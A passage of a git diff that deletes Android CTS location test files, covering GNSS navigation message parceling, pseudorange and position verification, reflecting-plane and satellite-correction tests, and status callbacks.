-    private static void setTestValues(GnssNavigationMessage message) {
-        message.setData(new byte[] {1, 2, 3, 4});
-        message.setMessageId(5);
-        message.setStatus(GnssNavigationMessage.STATUS_PARITY_REBUILT);
-        message.setSubmessageId(6);
-        message.setSvid(7);
-        message.setType(GnssNavigationMessage.TYPE_GPS_L2CNAV);
-    }
-
-    private static void verifyTestValues(GnssNavigationMessage message) {
-        byte[] data = message.getData();
-        assertEquals(4, data.length);
-        assertEquals(1, data[0]);
-        assertEquals(2, data[1]);
-        assertEquals(3, data[2]);
-        assertEquals(4, data[3]);
-        assertEquals(5, message.getMessageId());
-        assertEquals(GnssNavigationMessage.STATUS_PARITY_REBUILT, message.getStatus());
-        assertEquals(6, message.getSubmessageId());
-        assertEquals(7, message.getSvid());
-        assertEquals(GnssNavigationMessage.TYPE_GPS_L2CNAV, message.getType());
-    }
-
-    public void testDescribeContents() {
-        GnssNavigationMessage message = new GnssNavigationMessage();
-        message.describeContents();
-    }
-
-    public void testWriteToParcel() {
-        GnssNavigationMessage message = new GnssNavigationMessage();
-        setTestValues(message);
-        Parcel parcel = Parcel.obtain();
-        message.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssNavigationMessage newMessage =
-                GnssNavigationMessage.CREATOR.createFromParcel(parcel);
-        verifyTestValues(newMessage);
-        parcel.recycle();
-    }
-
-    public void testReset() {
-        GnssNavigationMessage message = new GnssNavigationMessage();
-        message.reset();
-    }
-
-    public void testSet() {
-        GnssNavigationMessage message = new GnssNavigationMessage();
-        setTestValues(message);
-        GnssNavigationMessage newMessage = new GnssNavigationMessage();
-        newMessage.set(message);
-        verifyTestValues(newMessage);
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
deleted file mode 100644
index 0e6843d..0000000
--- a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
+++ /dev/null
@@ -1,403 +0,0 @@
-/*
- * Copyright (C) 2017 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.cts.pseudorange.PseudorangePositionVelocityFromRealTimeEvents;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssStatus;
-import android.location.Location;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.List;
-import java.util.concurrent.TimeUnit;
-import java.util.HashMap;
-
-/**
- * Test computing and verifying the pseudoranges based on the raw measurements
- * reported by the GNSS chipset
- */
-public class GnssPseudorangeVerificationTest extends GnssTestCase {
-  private static final String TAG = "GnssPseudorangeValTest";
-  private static final int LOCATION_TO_COLLECT_COUNT = 5;
-  private static final int MEASUREMENT_EVENTS_TO_COLLECT_COUNT = 10;
-  private static final int MIN_SATELLITES_REQUIREMENT = 4;
-  private static final double SECONDS_PER_NANO = 1.0e-9;
-
-    // GPS/GLONASS: according to http://cdn.intechopen.com/pdfs-wm/27712.pdf, the pseudorange in
-    // time
-    // is 65-83 ms, which is 18 ms range.
-    // GLONASS: orbit is a bit closer than GPS, so we add 0.003ms to the range, hence deltaiSeconds
-    // should be in the range of [0.0, 0.021] seconds.
-    // QZSS and BEIDOU: they have higher orbit, which will result in a small svTime, the deltai
-    // can be
-    // calculated as follows:
-    // assume a = QZSS/BEIDOU orbit Semi-Major Axis(42,164km for QZSS);
-    // b = GLONASS orbit Semi-Major Axis (25,508km);
-    // c = Speed of light (299,792km/s);
-    // e = earth radius (6,378km);
-    // in the extremely case of QZSS is on the horizon and GLONASS is on the 90 degree top
-    // max difference should be (sqrt(a^2-e^2) - (b-e))/c,
-    // which is around 0.076s.
-    // 2 Galileo satellites (E14 & E18) have elliptical orbits, so Galileo can have up-to 48ms of
-    // spread.
-    private static final double PSEUDORANGE_THRESHOLD_IN_SEC = 0.048;
-  // Geosync constellations have a longer range vs typical MEO orbits
-  // that are the short end of the range.
-  private static final double PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC = 0.076;
-
-  private static final float LOW_ENOUGH_POSITION_UNCERTAINTY_METERS = 100;
-  private static final float LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS = 5;
-  private static final float HORIZONTAL_OFFSET_FLOOR_METERS = 10;
-  private static final float HORIZONTAL_OFFSET_SIGMA = 3;  // 3 * the ~68%ile level
-  private static final float HORIZONTAL_OFFSET_FLOOR_MPS = 1;
-
-  private TestGnssMeasurementListener mMeasurementListener;
-  private TestLocationListener mLocationListener;
-
-  @Override
-  protected void setUp() throws Exception {
-    super.setUp();
-
-    mTestLocationManager = new TestLocationManager(getContext());
-  }
-
-  @Override
-  protected void tearDown() throws Exception {
-    // Unregister listeners
-    if (mLocationListener != null) {
-      mTestLocationManager.removeLocationUpdates(mLocationListener);
-    }
-    if (mMeasurementListener != null) {
-      mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
-    }
-    super.tearDown();
-  }
-
-  /**
-   * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
-   * It only performs sanity checks for the measurements received.
-   * This tests uses actual data retrieved from Gnss HAL.
-   */
-  @CddTest(requirement="7.3.3")
-  public void testPseudorangeValue() throws Exception {
-    // Checks if Gnss hardware feature is present, skips test (pass) if not,
-    // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
-    // From android O, CTS tests should run in the lab with GPS signal.
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
-      return;
-    }
-
-    mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
-    mTestLocationManager.requestLocationUpdates(mLocationListener);
-
-    mMeasurementListener = new TestGnssMeasurementListener(TAG,
-                                                MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
-    mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
-    boolean success = mLocationListener.await();
-    success &= mMeasurementListener.await();
-    SoftAssert softAssert = new SoftAssert(TAG);
-    softAssert.assertTrue(
-        "Time elapsed without getting enough location fixes."
-            + " Possibly, the test has been run deep indoors."
-            + " Consider retrying test outdoors.",
-        success);
-
-    Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
-
-    if (!mMeasurementListener.verifyStatus()) {
-      // If verifyStatus returns false, an assert exception happens and test fails.
-      return; // exit (with pass)
-    }
-
-    List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
-    int eventCount = events.size();
-    Log.i(TAG, "Number of GNSS measurement events received = " + eventCount);
-    softAssert.assertTrue(
-        "GnssMeasurementEvent count: expected > 0, received = " + eventCount,
-        eventCount > 0);
-
-    boolean hasEventWithEnoughMeasurements = false;
-    // we received events, so perform a quick sanity check on mandatory fields
-    for (GnssMeasurementsEvent event : events) {
-      // Verify Gnss Event mandatory fields are in required ranges
-      assertNotNull("GnssMeasurementEvent cannot be null.", event);
-
-      long timeInNs = event.getClock().getTimeNanos();
-      TestMeasurementUtil.assertGnssClockFields(event.getClock(), softAssert, timeInNs);
-
-      ArrayList<GnssMeasurement> filteredMeasurements = filterMeasurements(event.getMeasurements());
-      HashMap<Integer, ArrayList<GnssMeasurement>> measurementConstellationMap =
-          groupByConstellation(filteredMeasurements);
-      for (ArrayList<GnssMeasurement> measurements : measurementConstellationMap.values()) {
-        validatePseudorange(measurements, softAssert, timeInNs);
-      }
-
-      // we need at least 4 satellites to calculate the pseudorange
-      if(event.getMeasurements().size() >= MIN_SATELLITES_REQUIREMENT) {
-        hasEventWithEnoughMeasurements = true;
-      }
-    }
-
-    softAssert.assertTrue(
-        "Should have at least one GnssMeasurementEvent with at least 4"
-            + "GnssMeasurement. If failed, retry near window or outdoors?",
-        hasEventWithEnoughMeasurements);
-
-    softAssert.assertAll();
-  }
-
-  private HashMap<Integer, ArrayList<GnssMeasurement>> groupByConstellation(
-      Collection<GnssMeasurement> measurements) {
-    HashMap<Integer, ArrayList<GnssMeasurement>> measurementConstellationMap = new HashMap<>();
-    for (GnssMeasurement measurement: measurements){
-      int constellationType = measurement.getConstellationType();
-      if (!measurementConstellationMap.containsKey(constellationType)) {
-        measurementConstellationMap.put(constellationType, new ArrayList<>());
-      }
-      measurementConstellationMap.get(constellationType).add(measurement);
-    }
-    return measurementConstellationMap;
-  }
-
-    private static ArrayList<GnssMeasurement> filterMeasurements(
-            Collection<GnssMeasurement> measurements) {
-        ArrayList<GnssMeasurement> filteredMeasurement = new ArrayList<>();
-        for (GnssMeasurement measurement : measurements) {
-            int constellationType = measurement.getConstellationType();
-            if ((measurement.getState() & GnssMeasurement.STATE_CODE_LOCK) == 0) {
-                continue;
-            }
-            if (constellationType == GnssStatus.CONSTELLATION_GLONASS) {
-                if ((measurement.getState()
-                        & (GnssMeasurement.STATE_GLO_TOD_DECODED
-                        | GnssMeasurement.STATE_GLO_TOD_KNOWN)) != 0) {
-                    filteredMeasurement.add(measurement);
-                }
-            } else if ((measurement.getState() & (GnssMeasurement.STATE_TOW_DECODED
-                    | GnssMeasurement.STATE_TOW_KNOWN)) != 0) {
-                filteredMeasurement.add(measurement);
-            }
-        }
-        return filteredMeasurement;
-    }
-
-  /**
-   * Uses the common reception time approach to calculate pseudorange time
-   * measurements reported by the receiver according to http://cdn.intechopen.com/pdfs-wm/27712.pdf.
-   */
-  private void validatePseudorange(Collection<GnssMeasurement> measurements,
-      SoftAssert softAssert, long timeInNs) {
-    long largestReceivedSvTimeNanosTod = 0;
-    // closest satellite has largest time (closest to now), as of nano secs of the day
-    // so the largestReceivedSvTimeNanosTod will be the svTime we got from one of the GPS/GLONASS sv
-    for(GnssMeasurement measurement : measurements) {
-      long receivedSvTimeNanosTod =  measurement.getReceivedSvTimeNanos()
-                                        % TimeUnit.DAYS.toNanos(1);
-      if (largestReceivedSvTimeNanosTod < receivedSvTimeNanosTod) {
-        largestReceivedSvTimeNanosTod = receivedSvTimeNanosTod;
-      }
-    }
-    for (GnssMeasurement measurement : measurements) {
-      double threshold = PSEUDORANGE_THRESHOLD_IN_SEC;
-      int constellationType = measurement.getConstellationType();
-      // BEIDOU and QZSS's Orbit are higher, so the value of ReceivedSvTimeNanos should be small
-      if (constellationType == GnssStatus.CONSTELLATION_BEIDOU
-          || constellationType == GnssStatus.CONSTELLATION_QZSS) {
-        threshold = PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC;
-      }
-      double deltaiNanos = largestReceivedSvTimeNanosTod
-                          - (measurement.getReceivedSvTimeNanos() % TimeUnit.DAYS.toNanos(1));
-      double deltaiSeconds = deltaiNanos * SECONDS_PER_NANO;
-
-      softAssert.assertTrue("deltaiSeconds in Seconds.",
-          timeInNs,
-          "0.0 <= deltaiSeconds <= " + String.valueOf(threshold),
-          String.valueOf(deltaiSeconds),
-          (deltaiSeconds >= 0.0 && deltaiSeconds <= threshold));
-    }
-  }
-
-    /*
-     * Use pseudorange calculation library to calculate position then compare to location from
-     * Location Manager.
-     */
-    @CddTest(requirement = "7.3.3")
-    @AppModeFull(reason = "Flaky in instant mode")
-    public void testPseudoPosition() throws Exception {
-        // Checks if Gnss hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
-        // From android O, CTS tests should run in the lab with GPS signal.
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
-            return;
-        }
-
-        mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
-        mTestLocationManager.requestLocationUpdates(mLocationListener);
-
-        mMeasurementListener = new TestGnssMeasurementListener(TAG,
-                MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
-        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
-        boolean success = mLocationListener.await();
-
-        List<Location> receivedLocationList = mLocationListener.getReceivedLocationList();
-        assertTrue("Time elapsed without getting enough location fixes."
-                        + " Possibly, the test has been run deep indoors."
-                        + " Consider retrying test outdoors.",
-                success && receivedLocationList.size() > 0);
-        Location locationFromApi = receivedLocationList.get(0);
-
-        // Since we are checking the eventCount later, there is no need to check the return value
-        // here.
-        mMeasurementListener.await();
-
-        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
-        int eventCount = events.size();
-        Log.i(TAG, "Number of Gps Event received = " + eventCount);
-
-        assertTrue("GnssMeasurementEvent count: expected > 0, received = " + eventCount,
-                eventCount > 0);
-
-        PseudorangePositionVelocityFromRealTimeEvents mPseudorangePositionFromRealTimeEvents
-                = new PseudorangePositionVelocityFromRealTimeEvents();
-        mPseudorangePositionFromRealTimeEvents.setReferencePosition(
-                (int) (locationFromApi.getLatitude() * 1E7),
-                (int) (locationFromApi.getLongitude() * 1E7),
-                (int) (locationFromApi.getAltitude() * 1E7));
-
-        Log.i(TAG, "Location from Location Manager"
-                + ", Latitude:" + locationFromApi.getLatitude()
-                + ", Longitude:" + locationFromApi.getLongitude()
-                + ", Altitude:" + locationFromApi.getAltitude());
-
-        // Ensure at least some calculated locations have a reasonably low uncertainty
-        boolean someLocationsHaveLowPosUnc = false;
-        boolean someLocationsHaveLowVelUnc = false;
-
-        int totalCalculatedLocationCnt = 0;
-        for (GnssMeasurementsEvent event : events) {
-            // In mMeasurementListener.getEvents() we already filtered out events, at this point
-            // every event will have at least 4 satellites in one constellation.
-            mPseudorangePositionFromRealTimeEvents.computePositionVelocitySolutionsFromRawMeas(
-                    event);
-            double[] calculatedLatLngAlt =
-                    mPseudorangePositionFromRealTimeEvents.getPositionSolutionLatLngDeg();
-            // it will return NaN when there is no enough measurements to calculate the position
-            if (Double.isNaN(calculatedLatLngAlt[0])) {
-                continue;
-            } else {
-                totalCalculatedLocationCnt++;
-                Log.i(TAG, "Calculated Location"
-                        + ", Latitude:" + calculatedLatLngAlt[0]
-                        + ", Longitude:" + calculatedLatLngAlt[1]
-                        + ", Altitude:" + calculatedLatLngAlt[2]);
-
-                double[] posVelUncertainties =
-                        mPseudorangePositionFromRealTimeEvents.getPositionVelocityUncertaintyEnu();
-
-                double horizontalPositionUncertaintyMeters =
-                        Math.sqrt(posVelUncertainties[0] * posVelUncertainties[0]
-                                + posVelUncertainties[1] * posVelUncertainties[1]);
-
-                // Tolerate large offsets, when the device reports a large uncertainty - while also
-                // ensuring (here) that some locations are produced before the test ends
-                // with a reasonably low set of error estimates
-                if (horizontalPositionUncertaintyMeters < LOW_ENOUGH_POSITION_UNCERTAINTY_METERS) {
-                    someLocationsHaveLowPosUnc = true;
-                }
-
-                // Root-sum-sqaure the WLS, and device generated 68%ile accuracies is a conservative
-                // 68%ile offset (given likely correlated errors) - then this is scaled by
-                // initially 3 sigma to give a high enough tolerance to make the test tolerant
-                // enough of noise to pass reliably.  Floor adds additional robustness in case of
-                // small errors and small error estimates.
-                double horizontalOffsetThresholdMeters = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
-                        horizontalPositionUncertaintyMeters * horizontalPositionUncertaintyMeters
-                                + locationFromApi.getAccuracy() * locationFromApi.getAccuracy())
-                        + HORIZONTAL_OFFSET_FLOOR_METERS;
-
-                Location calculatedLocation = new Location("gps");
-                calculatedLocation.setLatitude(calculatedLatLngAlt[0]);
-                calculatedLocation.setLongitude(calculatedLatLngAlt[1]);
-                calculatedLocation.setAltitude(calculatedLatLngAlt[2]);
-
-                double horizontalOffset = calculatedLocation.distanceTo(locationFromApi);
-
-                Log.i(TAG, "Calculated Location Offset: " + horizontalOffset
-                        + ", Threshold: " + horizontalOffsetThresholdMeters);
-                assertTrue("Latitude & Longitude calculated from pseudoranges should be close to "
-                                + "those reported from Location Manager.  Offset = "
-                                + horizontalOffset + " meters. Threshold = "
-                                + horizontalOffsetThresholdMeters + " meters ",
-                        horizontalOffset < horizontalOffsetThresholdMeters);
-
-                //TODO: Check for the altitude offset
-
-                // This 2D velocity uncertainty is conservatively larger than speed uncertainty
-                // as it also contains the effect of bearing uncertainty at a constant speed
-                double horizontalVelocityUncertaintyMps =
-                        Math.sqrt(posVelUncertainties[4] * posVelUncertainties[4]
-                                + posVelUncertainties[5] * posVelUncertainties[5]);
-                if (horizontalVelocityUncertaintyMps < LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS) {
-                    someLocationsHaveLowVelUnc = true;
-                }
-
-                // Assume 1m/s uncertainty from API, for this test, if not provided
-                float speedUncFromApiMps = locationFromApi.hasSpeedAccuracy()
-                        ? locationFromApi.getSpeedAccuracyMetersPerSecond()
-                        : HORIZONTAL_OFFSET_FLOOR_MPS;
-
-                // Similar 3-standard deviation plus floor threshold as
-                // horizontalOffsetThresholdMeters above
-                double horizontalSpeedOffsetThresholdMps = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
-                        horizontalVelocityUncertaintyMps * horizontalVelocityUncertaintyMps
-                                + speedUncFromApiMps * speedUncFromApiMps)
-                        + HORIZONTAL_OFFSET_FLOOR_MPS;
-
-                double[] calculatedVelocityEnuMps =
-                        mPseudorangePositionFromRealTimeEvents.getVelocitySolutionEnuMps();
-                double calculatedHorizontalSpeedMps =
-                        Math.sqrt(calculatedVelocityEnuMps[0] * calculatedVelocityEnuMps[0]
-                                + calculatedVelocityEnuMps[1] * calculatedVelocityEnuMps[1]);
-
-                Log.i(TAG, "Calculated Speed: " + calculatedHorizontalSpeedMps
-                        + ", Reported Speed: " + locationFromApi.getSpeed()
-                        + ", Threshold: " + horizontalSpeedOffsetThresholdMps);
-                assertTrue("Speed (" + calculatedHorizontalSpeedMps + " m/s) calculated from"
-                                + " pseudoranges should be close to the speed ("
-                                + locationFromApi.getSpeed() + " m/s) reported from"
-                                + " Location Manager.",
-                        Math.abs(calculatedHorizontalSpeedMps - locationFromApi.getSpeed())
-                                < horizontalSpeedOffsetThresholdMps);
-            }
-        }
-
-        assertTrue("Calculated Location Count should be greater than 0.",
-                totalCalculatedLocationCnt > 0);
-        assertTrue("Calculated Horizontal Location Uncertainty should at least once be less than "
-                        + LOW_ENOUGH_POSITION_UNCERTAINTY_METERS,
-                someLocationsHaveLowPosUnc);
-        assertTrue("Calculated Horizontal Velocity Uncertainty should at least once be less than "
-                        + LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS,
-                someLocationsHaveLowVelUnc);
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssReflectingPlaneTest.java b/tests/tests/location/src/android/location/cts/GnssReflectingPlaneTest.java
deleted file mode 100644
index bfd9561..0000000
--- a/tests/tests/location/src/android/location/cts/GnssReflectingPlaneTest.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssReflectingPlane;
-import android.os.Parcel;
-
-import junit.framework.TestCase;
-
-/** Unit tests for {@link GnssReflectingPlane}. */
-public class GnssReflectingPlaneTest extends GnssTestCase {
-    public void testDescribeContents() {
-        GnssReflectingPlane reflectingPlane = new GnssReflectingPlane.Builder().build();
-        reflectingPlane.describeContents();
-    }
-
-    public void testWriteToParcel() {
-        GnssReflectingPlane.Builder reflectingPlane = new GnssReflectingPlane.Builder();
-        setTestValues(reflectingPlane);
-        Parcel parcel = Parcel.obtain();
-        reflectingPlane.build().writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssReflectingPlane newReflectingPlane =
-                GnssReflectingPlane.CREATOR.createFromParcel(parcel);
-        verifyTestValues(newReflectingPlane);
-        parcel.recycle();
-    }
-
-    public static void verifyTestValues(GnssReflectingPlane reflectingPlane) {
-        assertEquals(37.386052, reflectingPlane.getLatitudeDegrees());
-        assertEquals(-122.083853, reflectingPlane.getLongitudeDegrees());
-        assertEquals(100.0, reflectingPlane.getAltitudeMeters());
-        assertEquals(123.0, reflectingPlane.getAzimuthDegrees());
-    }
-
-    private static void setTestValues(GnssReflectingPlane.Builder reflectingPlane) {
-        GnssReflectingPlane refPlane = generateTestReflectingPlane();
-        reflectingPlane
-                .setLatitudeDegrees(refPlane.getLatitudeDegrees())
-                .setLongitudeDegrees(refPlane.getLongitudeDegrees())
-                .setAltitudeMeters(refPlane.getAltitudeMeters())
-                .setAzimuthDegrees(refPlane.getAzimuthDegrees());
-    }
-
-    public static GnssReflectingPlane generateTestReflectingPlane() {
-        GnssReflectingPlane.Builder reflectingPlane =
-                new GnssReflectingPlane.Builder()
-                        .setLatitudeDegrees(37.386052)
-                        .setLongitudeDegrees(-122.083853)
-                        .setAltitudeMeters(100.0)
-                        .setAzimuthDegrees(123.0);
-        return reflectingPlane.build();
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssSingleSatCorrectionsTest.java b/tests/tests/location/src/android/location/cts/GnssSingleSatCorrectionsTest.java
deleted file mode 100644
index 3cbc5bb..0000000
--- a/tests/tests/location/src/android/location/cts/GnssSingleSatCorrectionsTest.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssReflectingPlane;
-import android.location.cts.GnssReflectingPlaneTest;
-import android.location.GnssSingleSatCorrection;
-import android.location.GnssStatus;
-import android.os.Parcel;
-
-import junit.framework.TestCase;
-
-/** Unit tests for {@link GnssSingleSatCorrection}. */
-public class GnssSingleSatCorrectionsTest extends GnssTestCase {
-    public void testDescribeContents() {
-        GnssSingleSatCorrection singleSatCorrection = new GnssSingleSatCorrection.Builder().build();
-        singleSatCorrection.describeContents();
-    }
-
-    public void testWriteToParcel() {
-        GnssSingleSatCorrection.Builder singleSatCorrection = new GnssSingleSatCorrection.Builder();
-        setTestValues(singleSatCorrection);
-        Parcel parcel = Parcel.obtain();
-        singleSatCorrection.build().writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssSingleSatCorrection newSingleSatCorrection =
-                GnssSingleSatCorrection.CREATOR.createFromParcel(parcel);
-        verifyTestValues(newSingleSatCorrection);
-        parcel.recycle();
-    }
-
-    public static void verifyTestValues(GnssSingleSatCorrection singleSatCorrection) {
-        assertEquals(15, singleSatCorrection.getSingleSatelliteCorrectionFlags());
-        assertEquals(GnssStatus.CONSTELLATION_GALILEO, singleSatCorrection.getConstellationType());
-        assertEquals(12, singleSatCorrection.getSatelliteId());
-        assertEquals(1575420000f, singleSatCorrection.getCarrierFrequencyHz());
-        assertEquals(0.1f, singleSatCorrection.getProbabilityLineOfSight());
-        assertEquals(10.0f, singleSatCorrection.getExcessPathLengthMeters());
-        assertEquals(5.0f, singleSatCorrection.getExcessPathLengthUncertaintyMeters());
-        GnssReflectingPlane reflectingPlane = singleSatCorrection.getReflectingPlane();
-        GnssReflectingPlaneTest.verifyTestValues(reflectingPlane);
-    }
-
-    private static void setTestValues(GnssSingleSatCorrection.Builder singleSatCorrection) {
-        GnssSingleSatCorrection singleSatCor = generateTestSingleSatCorrection();
-        singleSatCorrection
-                .setConstellationType(singleSatCor.getConstellationType())
-                .setSatelliteId(singleSatCor.getSatelliteId())
-                .setCarrierFrequencyHz(singleSatCor.getCarrierFrequencyHz())
-                .setProbabilityLineOfSight(singleSatCor.getProbabilityLineOfSight())
-                .setExcessPathLengthMeters(singleSatCor.getExcessPathLengthMeters())
-                .setExcessPathLengthUncertaintyMeters(
-                        singleSatCor.getExcessPathLengthUncertaintyMeters())
-                .setReflectingPlane(singleSatCor.getReflectingPlane());
-    }
-
-    public static GnssSingleSatCorrection generateTestSingleSatCorrection() {
-        GnssSingleSatCorrection.Builder singleSatCorrection =
-                new GnssSingleSatCorrection.Builder()
-                        .setConstellationType(GnssStatus.CONSTELLATION_GALILEO)
-                        .setSatelliteId(12)
-                        .setCarrierFrequencyHz(1575420000f)
-                        .setProbabilityLineOfSight(0.1f)
-                        .setExcessPathLengthMeters(10.0f)
-                        .setExcessPathLengthUncertaintyMeters(5.0f)
-                        .setReflectingPlane(GnssReflectingPlaneTest.generateTestReflectingPlane());
-        return singleSatCorrection.build();
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssStatusCallbackTest.java b/tests/tests/location/src/android/location/cts/GnssStatusCallbackTest.java
deleted file mode 100644
index b785e1a..0000000
--- a/tests/tests/location/src/android/location/cts/GnssStatusCallbackTest.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssStatus;
-
-public class GnssStatusCallbackTest extends GnssTestCase {
-    private static class MockCallback extends GnssStatus.Callback {
-    }
-
-    public void testAllMethodsExist() {
-        GnssStatus.Callback callback = new MockCallback();
-        callback.onStarted();
-        callback.onFirstFix(10);
-        callback.onSatelliteStatusChanged(null);
-        callback.onStopped();
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssStatusTest.java b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
deleted file mode 100644
index 1a9dbb1..0000000
--- a/tests/tests/location/src/android/location/cts/GnssStatusTest.java
+++ /dev/null
@@ -1,117 +0,0 @@
-package android.location.cts;
-
-import android.location.GnssStatus;
-import android.util.Log;
-
-public class GnssStatusTest extends GnssTestCase  {
-
-    private static final String TAG = "GnssStatusTest";
-    private static final int LOCATION_TO_COLLECT_COUNT = 1;
-    private static final int STATUS_TO_COLLECT_COUNT = 3;
-
-  @Override
-  protected void setUp() throws Exception {
-    super.setUp();
-    mTestLocationManager = new TestLocationManager(getContext());
-  }
-
-  /**
-   * Tests that one can listen for {@link GnssStatus}.
-   */
-  public void testGnssStatusChanges() throws Exception {
-    // Checks if GPS hardware feature is present, skips test (pass) if not,
-    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
-      return;
-    }
-
-    // Register Gps Status Listener.
-    TestGnssStatusCallback testGnssStatusCallback =
-        new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
-    checkGnssChange(testGnssStatusCallback);
-  }
-
-  private void checkGnssChange(TestGnssStatusCallback testGnssStatusCallback)
-      throws InterruptedException {
-    mTestLocationManager.registerGnssStatusCallback(testGnssStatusCallback);
-
-    TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
-    mTestLocationManager.requestLocationUpdates(locationListener);
-
-    boolean success = testGnssStatusCallback.awaitStart();
-    success = success ? testGnssStatusCallback.awaitStatus() : false;
-    success = success ? testGnssStatusCallback.awaitTtff() : false;
-    mTestLocationManager.removeLocationUpdates(locationListener);
-    success = success ? testGnssStatusCallback.awaitStop() : false;
-    mTestLocationManager.unregisterGnssStatusCallback(testGnssStatusCallback);
-
-    SoftAssert softAssert = new SoftAssert(TAG);
-    softAssert.assertTrue(
-        "Time elapsed without getting the right status changes."
-            + " Possibly, the test has been run deep indoors."
-            + " Consider retrying test outdoors.",
-        success);
-    softAssert.assertAll();
-  }
-
-  /**
-   * Tests values of {@link GnssStatus}.
-   */
-  public void testGnssStatusValues() throws InterruptedException {
-    // Checks if GPS hardware feature is present, skips test (pass) if not,
-    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
-      return;
-    }
-    SoftAssert softAssert = new SoftAssert(TAG);
-    // Register Gps Status Listener.
-    TestGnssStatusCallback testGnssStatusCallback =
-        new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
-    checkGnssChange(testGnssStatusCallback);
-    validateGnssStatus(testGnssStatusCallback.getGnssStatus(), softAssert);
-    softAssert.assertAll();
-  }
-
-  /**
-   * To validate the fields in GnssStatus class, the value is got from device
-   * @param status, GnssStatus
-   * @param softAssert, customized assert class.
-   */
-  private void validateGnssStatus(GnssStatus status, SoftAssert softAssert) {
-    int sCount = status.getSatelliteCount();
-    Log.i(TAG, "Total satellite:" + sCount);
-    // total number of satellites for all constellation is less than 200
-    softAssert.assertTrue("Satellite count test sCount : " + sCount , sCount < 200);
-    for (int i = 0; i < sCount; ++i) {
-      softAssert.assertTrue("azimuth_degrees: Azimuth in degrees: ",
-          "0.0 <= X <= 360.0",
